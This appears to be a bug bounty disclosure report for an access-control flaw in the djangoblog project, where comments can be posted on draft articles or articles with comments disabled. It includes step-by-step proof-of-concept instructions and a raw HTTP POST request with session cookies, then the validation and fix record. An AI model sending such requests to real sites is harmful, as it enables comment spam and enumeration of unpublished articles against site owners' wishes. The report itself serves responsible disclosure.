Improper Access Control in liangliangyy/djangoblog


Reported on

Feb 13th 2022


"form_valid" function in comments/ file performs the task of saving user comments. However, this function doesn't check the status of article, so users can leave comments on draft article or public article with commentstatus is off.

Proof of Concept

  • Step 1: Login as admin in test product and go to http://localhost:8000/admin/blog/article/. Change status of article ID 19 to draft_article (选中文章设置为草稿) or close_article_commentstatus (关闭文章评论)
  • Step 2: Login as normal user (http://localhost:8000/login) and get valid csrftoken, sessionid, csrfmiddlewaretoken.
  • Step 3: Call request and create comment in draft article or public article with commentstatus is off
POST /article/19/postcomment HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 181
DNT: 1
Connection: close
Cookie: csrftoken=2iccWTWyKBM4cm0Ii6BkrTOJ2xNdMox6JUP1zlchmG6eUJSkOCXgklgJwuuih5ia; sessionid=pg009zo7zl35ssyk4fsufv64wplpldp9
Upgrade-Insecure-Requests: 1

  • Step 4: In admin browser, go to http://localhost:8000/admin/comments/comment/ and check result.

  • PoC:

Comment in article disabled:

Send comment:



Normal users can leave comments on draft article or public article with commentstatus is off. Attacker can also take advantage of the vulnerability to list the id of articles in draft mode. Run comment spam attack even if the app has disabled comments for all articles.


We are processing your report and will contact the liangliangyy/djangoblog team within 24 hours. a year ago
且听风吟 validated this vulnerability a year ago
nhiephon has been awarded the disclosure bounty
The fix bounty is now up for grabs
且听风吟 marked this as fixed in master with commit 6512ab a year ago
且听风吟 has been awarded the fix bounty
This vulnerability will not receive a CVE has been validated
to join this conversation